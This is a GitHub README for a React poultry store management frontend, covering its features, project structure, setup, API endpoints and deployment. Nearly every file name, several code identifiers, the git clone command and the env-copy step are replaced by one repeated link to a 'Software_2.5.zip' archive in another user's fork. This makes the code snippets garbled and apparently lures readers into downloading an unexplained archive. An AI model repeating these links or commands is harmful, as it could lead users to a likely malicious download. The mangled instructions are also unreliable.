Skip to content

Egg-Sales-App/Frontend

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

248 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ” Poultry Store Management System

A comprehensive React-based web application designed to manage all aspects of a poultry business, including inventory management, employee administration, sales tracking, supplier management, and detailed reporting.

React Vite TailwindCSS DaisyUI License

πŸ“‹ Table of Contents

✨ Features

🎯 Core Functionality

  • Dashboard Analytics: Real-time business metrics, sales charts, and KPI tracking
  • Inventory Management: Product catalog, stock tracking, low-stock alerts
  • Employee Management: Staff directory, role-based access, performance tracking
  • Sales Management: Order processing, payment tracking, sales analytics
  • Supplier Management: Vendor relationships, purchase orders, supplier analytics
  • Reports & Analytics: Comprehensive reporting with data visualization
  • Store Management: Multi-location support, store configuration

πŸ” Security & Authentication

  • JWT Authentication: Secure login/logout with token management
  • Role-Based Access: Admin, Manager, Employee permission levels
  • Protected Routes: Secure page access based on authentication status
  • Session Management: Automatic token refresh and session validation

🎨 User Experience

  • Responsive Design: Mobile-first approach with Tailwind CSS
  • Real-time Notifications: Toast messages for user feedback
  • Form Validation: Comprehensive client-side validation
  • Error Handling: Graceful error boundaries and user-friendly messages
  • Loading States: Smooth user experience with loading indicators

πŸ“Š Data Management

  • RESTful API Integration: Complete service layer for backend communication
  • State Management: Context API for global state management
  • Data Caching: Efficient data fetching with custom hooks
  • Real-time Updates: Live data synchronization

πŸ›  Technology Stack

Frontend Framework

  • React 19: Latest React with concurrent features
  • Vite: Fast build tool with Hot Module Replacement (HMR)
  • React Router v7: Modern routing with data loading

Styling & UI

  • Tailwind CSS: Utility-first CSS framework
  • DaisyUI: Component library built on Tailwind
  • Lucide React: Modern icon library
  • Heroicons: Additional icon set

Data Visualization

  • Recharts: Composable charting library
  • Custom Charts: Sales trends, inventory analytics

Development Tools

  • ESLint: Code linting and formatting
  • PostCSS: CSS processing
  • Git: Version control

State Management

  • React Context: Global state management
  • Custom Hooks: Reusable logic abstraction
  • Local Storage: Persistent user preferences

πŸ“ Project Structure

Frontend/
β”œβ”€β”€ public/                     # Static assets
β”‚   β”œβ”€β”€ assets/                # Product images and media
β”‚   └── https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip              # Vite logo
β”œβ”€β”€ src/
β”‚   β”œβ”€β”€ components/            # Reusable components
β”‚   β”‚   β”œβ”€β”€ ui/               # UI components
β”‚   β”‚   β”‚   β”œβ”€β”€ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip         # Form input with validation
β”‚   β”‚   β”‚   β”œβ”€β”€ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip        # Dashboard metric display
β”‚   β”‚   β”‚   β”œβ”€β”€ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip         # Inventory stock display
β”‚   β”‚   β”‚   β”œβ”€β”€ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip             # Notification component
β”‚   β”‚   β”‚   β”œβ”€β”€ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip    # Toast management
β”‚   β”‚   β”‚   └── https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip      # Toast context provider
β”‚   β”‚   β”œβ”€β”€ layout/           # Layout components
β”‚   β”‚   β”‚   └── https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip       # Main admin layout
β”‚   β”‚   β”œβ”€β”€ common/           # Common components
β”‚   β”‚   β”‚   β”œβ”€β”€ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip     # Error handling
β”‚   β”‚   β”‚   └── https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip    # Route protection
β”‚   β”‚   β”œβ”€β”€ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip               # Top navigation
β”‚   β”‚   β”œβ”€β”€ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip              # Side navigation
β”‚   β”‚   └── https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip         # Sales chart component
β”‚   β”œβ”€β”€ hooks/                # Custom React hooks
β”‚   β”‚   β”œβ”€β”€ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip               # API data fetching
β”‚   β”‚   β”œβ”€β”€ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip              # Authentication state
β”‚   β”‚   β”œβ”€β”€ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip              # Form management
β”‚   β”‚   └── https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip             # Toast notifications
β”‚   β”œβ”€β”€ pages/                # Page components
β”‚   β”‚   β”œβ”€β”€ admin/            # Admin dashboard pages
β”‚   β”‚   β”‚   β”œβ”€β”€ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip         # Main dashboard
β”‚   β”‚   β”‚   β”œβ”€β”€ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip          # Employee management
β”‚   β”‚   β”‚   β”œβ”€β”€ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip         # Product inventory
β”‚   β”‚   β”‚   β”œβ”€β”€ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip             # Sales management
β”‚   β”‚   β”‚   β”œβ”€β”€ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip           # Analytics & reports
β”‚   β”‚   β”‚   β”œβ”€β”€ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip          # Supplier management
β”‚   β”‚   β”‚   └── https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip       # Store configuration
β”‚   β”‚   β”œβ”€β”€ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip            # User login
β”‚   β”‚   β”œβ”€β”€ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip           # User registration
β”‚   β”‚   └── https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip          # API testing (dev only)
β”‚   β”œβ”€β”€ services/             # API service layer
β”‚   β”‚   β”œβ”€β”€ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip                   # Base API service
β”‚   β”‚   β”œβ”€β”€ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip           # Authentication APIs
β”‚   β”‚   β”œβ”€β”€ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip      # Inventory APIs
β”‚   β”‚   β”œβ”€β”€ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip       # Employee APIs
β”‚   β”‚   β”œβ”€β”€ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip          # Sales APIs
β”‚   β”‚   └── https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip        # Reports APIs
β”‚   β”œβ”€β”€ utils/                # Utility functions
β”‚   β”‚   β”œβ”€β”€ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip            # Form validation
β”‚   β”‚   β”œβ”€β”€ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip        # API testing utilities
β”‚   β”‚   └── https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip              # Development tools
β”‚   β”œβ”€β”€ constants/            # App constants
β”‚   β”‚   └── https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip              # Mock data for development
β”‚   β”œβ”€β”€ config/               # Configuration
β”‚   β”‚   └── https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip           # Environment variables
β”‚   β”œβ”€β”€ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip               # Main app component
β”‚   β”œβ”€β”€ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip              # App entry point
β”‚   └── https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip             # Global styles
β”œβ”€β”€ .env                      # Environment variables
β”œβ”€β”€ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip              # Environment template
β”œβ”€β”€ .gitignore               # Git ignore rules
β”œβ”€β”€ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip             # Dependencies and scripts
β”œβ”€β”€ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip           # Vite configuration
β”œβ”€β”€ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip       # Tailwind CSS configuration
β”œβ”€β”€ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip        # PostCSS configuration
β”œβ”€β”€ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip         # ESLint configuration
└── https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip                # Project documentation

πŸš€ Installation

Prerequisites

Step-by-Step Setup

  1. Clone the Repository

    git clone https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip
    cd poultry-store-management/Frontend
  2. Install Dependencies

    npm install
    # or
    yarn install
  3. Environment Configuration

    # Copy environment template
    cp https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip .env
    
    # Edit environment variables
    nano .env  # or use your preferred editor
  4. Start Development Server

    npm run dev
    # or
    yarn dev
  5. Access the Application

    Open your browser and navigate to: http://localhost:5173
    

βš™οΈ Configuration

Environment Variables

Create a .env file in the root directory:

# API Configuration
VITE_API_BASE_URL=http://localhost:5000/api
VITE_API_TIMEOUT=10000

# Application Configuration
VITE_APP_NAME=Poultry Store Management
VITE_APP_VERSION=1.0.0

# Development Configuration
VITE_ENABLE_DEBUG=true
VITE_ENABLE_API_TESTING=true

# Authentication Configuration
VITE_TOKEN_EXPIRY=24h
VITE_REFRESH_THRESHOLD=300000

Build Configuration

The project uses Vite for building. Configuration is in https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip:

export default defineConfig({
  plugins: [react()],
  server: {
    port: 5173,
    host: true,
  },
  build: {
    outDir: "dist",
    sourcemap: true,
  },
});

πŸ“– Usage

πŸ” Authentication Flow

  1. Registration: New users can register with email and password
  2. Login: Existing users authenticate with credentials
  3. Dashboard Access: Authenticated users access the admin dashboard
  4. Role-Based Features: Different features based on user roles

🏠 Dashboard Overview

The main dashboard provides:

  • Sales Metrics: Revenue, profit, expenses tracking
  • Inventory Status: Stock levels, low-stock alerts
  • Recent Activity: Latest transactions and updates
  • Quick Actions: Fast access to common tasks

πŸ“¦ Inventory Management

  • Product Catalog: Add, edit, delete products
  • Stock Tracking: Real-time inventory levels
  • Image Management: Product photo uploads
  • Categories: Organize products by category
  • Search & Filter: Quick product discovery

πŸ‘₯ Employee Management

  • Staff Directory: Complete employee information
  • Role Assignment: Manage user permissions
  • Department Organization: Group by departments
  • Access Control: Security and permission management

πŸ“Š Sales & Reports

  • Sales Processing: Handle customer transactions
  • Payment Tracking: Multiple payment methods
  • Analytics: Visual reports and charts
  • Export Options: PDF and Excel report generation

πŸ”Œ API Integration

Service Architecture

The application uses a layered service architecture:

// Base API Service
import { apiService } from "./services/api";

// Feature-Specific Services
import { authService } from "./services/authService";
import { inventoryService } from "./services/inventoryService";
import { employeeService } from "./services/employeeService";

Authentication Integration

// Login Example
const handleLogin = async (credentials) => {
  try {
    const response = await https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip(credentials);
    // Handle successful login
  } catch (error) {
    // Handle login error
  }
};

Data Fetching

// Using Custom Hook
const Dashboard = () => {
  const { data, loading, error } = useApi(https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip);

  if (loading) return <LoadingSpinner />;
  if (error) return <ErrorMessage error={error} />;

  return <ProductList products={data} />;
};

Backend Endpoints

The frontend expects the following API endpoints:

Authentication:
POST /api/auth/login
POST /api/auth/register
POST /api/auth/logout
GET  /api/auth/me

Inventory:
GET    /api/products
POST   /api/products
PUT    /api/products/:id
DELETE /api/products/:id
GET    /api/products/low-stock

Employees:
GET    /api/employees
POST   /api/employees
PUT    /api/employees/:id
DELETE /api/employees/:id

Sales:
GET    /api/sales
POST   /api/sales
GET    /api/sales/stats

Reports:
GET    /api/reports/dashboard
GET    /api/reports/sales
GET    /api/reports/inventory

πŸ§ͺ Testing

API Testing

The application includes a built-in API testing dashboard:

  1. Access Testing Page: /api-test (development only)
  2. Run Individual Tests: Test specific endpoints
  3. Comprehensive Testing: Run all tests in sequence
  4. Console Testing: Use browser console for quick tests
// Console Testing Examples
await https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip(); // Test backend connection
await https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip(); // Test authentication
await https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip(); // Test products endpoint
await https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip(); // Run all tests

Manual Testing Checklist

  • User registration and login
  • Dashboard data loading
  • Product CRUD operations
  • Employee management
  • Sales processing
  • Report generation
  • Mobile responsiveness
  • Error handling

πŸ”„ Development Workflow

Available Scripts

# Development
npm run dev          # Start development server
npm run build        # Build for production
npm run preview      # Preview production build
npm run lint         # Run ESLint

# Testing
npm run test         # Run tests (if configured)
npm run test:api     # API integration tests

Git Workflow

# Feature Development
git checkout -b feature/new-feature
git add .
git commit -m "feat: add new feature"
git push origin feature/new-feature

# Code Review & Merge
# Create Pull Request
# Review and merge to main

Code Standards

  • Components: PascalCase naming
  • Files: camelCase for utilities, PascalCase for components
  • Functions: camelCase with descriptive names
  • Constants: UPPER_SNAKE_CASE
  • CSS: Tailwind utility classes preferred

πŸš€ Deployment

Production Build

# Build the application
npm run build

# The build output will be in the 'dist' directory
ls dist/

Deployment Options

1. Netlify Deployment

# Install Netlify CLI
npm install -g netlify-cli

# Deploy to Netlify
netlify deploy --prod --dir=dist

2. Vercel Deployment

# Install Vercel CLI
npm install -g vercel

# Deploy to Vercel
vercel --prod

3. Static File Server

# Serve the built files
npx serve -s dist -l 3000

Environment Variables for Production

https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip
VITE_APP_NAME=Poultry Store Management
VITE_ENABLE_DEBUG=false

🀝 Contributing

We welcome contributions! Please follow these steps:

Getting Started

  1. Fork the Repository

  2. Clone Your Fork

    git clone https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip
  3. Create Feature Branch

    git checkout -b feature/amazing-feature
  4. Make Changes

    • Follow the code standards
    • Add appropriate tests
    • Update documentation
  5. Commit Changes

    git commit -m "feat: add amazing feature"
  6. Push to Branch

    git push origin feature/amazing-feature
  7. Create Pull Request

Commit Message Convention

feat: add new feature
fix: bug fix
docs: documentation changes
style: formatting changes
refactor: code refactoring
test: adding tests
chore: maintenance tasks

πŸ› Troubleshooting

Common Issues

1. Backend Connection Errors

# Check if backend is running
curl http://localhost:5000/api/health

# Verify environment variables
echo $VITE_API_BASE_URL

2. Build Errors

# Clear node_modules and reinstall
rm -rf node_modules https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip
npm install

# Clear Vite cache
rm -rf https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip

3. Authentication Issues

# Clear browser storage
# Open DevTools > Application > Storage > Clear Storage

4. Styling Issues

# Rebuild Tailwind CSS
npm run build:css

# Check Tailwind configuration
npx tailwindcss --help

Performance Optimization

Debug Mode

Enable debug mode in development:

VITE_ENABLE_DEBUG=true

This enables:

  • Console logging
  • API request/response logging
  • Performance timing
  • Error details

πŸ“„ License

This project is licensed under the MIT License - see the LICENSE file for details.

MIT License

Copyright (c) 2024 Poultry Store Management System

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

πŸ™ Acknowledgments

  • React Team for the amazing framework
  • Vite Team for the blazing fast build tool
  • Tailwind CSS for the utility-first CSS framework
  • DaisyUI for the beautiful component library
  • Recharts for the charting capabilities
  • Lucide Icons for the icon library

πŸ“ž Support

For support and questions:

  • Documentation: Check this README and inline code comments
  • Issues: Create a GitHub issue for bugs and feature requests
  • Discussions: Use GitHub Discussions for questions and ideas

🎯 Roadmap

Phase 1 (Current)

  • Core dashboard functionality
  • Inventory management
  • Employee management
  • Basic authentication
  • API integration layer

Phase 2 (Planned)

  • Advanced reporting and analytics
  • Real-time notifications
  • Mobile app integration
  • Advanced user permissions
  • Backup and restore functionality

Phase 3 (Future)

  • Multi-tenant support
  • API rate limiting
  • Advanced caching strategies
  • Performance monitoring
  • Automated testing suite

Built with ❀️ for efficient poultry business management

Last updated: December 2024

About

Coded UI for app

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 3

  •  
  •  
  •  

Languages